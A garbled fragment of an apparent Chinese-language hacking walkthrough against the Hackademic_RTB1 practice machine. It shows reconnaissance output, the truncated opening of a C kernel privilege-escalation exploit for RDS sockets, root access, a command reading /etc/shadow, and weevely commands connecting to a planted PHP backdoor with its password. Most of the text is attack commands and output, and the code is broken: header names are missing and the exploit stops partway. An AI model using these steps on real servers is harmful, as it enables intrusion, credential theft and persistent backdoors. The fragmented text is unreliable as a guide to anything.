其他
黑客 如何攻破一个网站?长文图解全流程
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
#include#include#include#include#include#include#include#include#include#include#include#define RECVPORT 5555#define SENDPORT 6666int prep_sock(int port){int s, ret;struct sockaddr_in addr;s = socket(PF_RDS, SOCK_SEQPACKET, 0);if(s < 0){printf(“[*] Could not open socket.”);exit(-1);}memset(&addr, 0, sizeof(addr));
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)
cat/etc/shadow
root@bt:/pentest/backdoors/web/weevely#./main.py -
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
往期推荐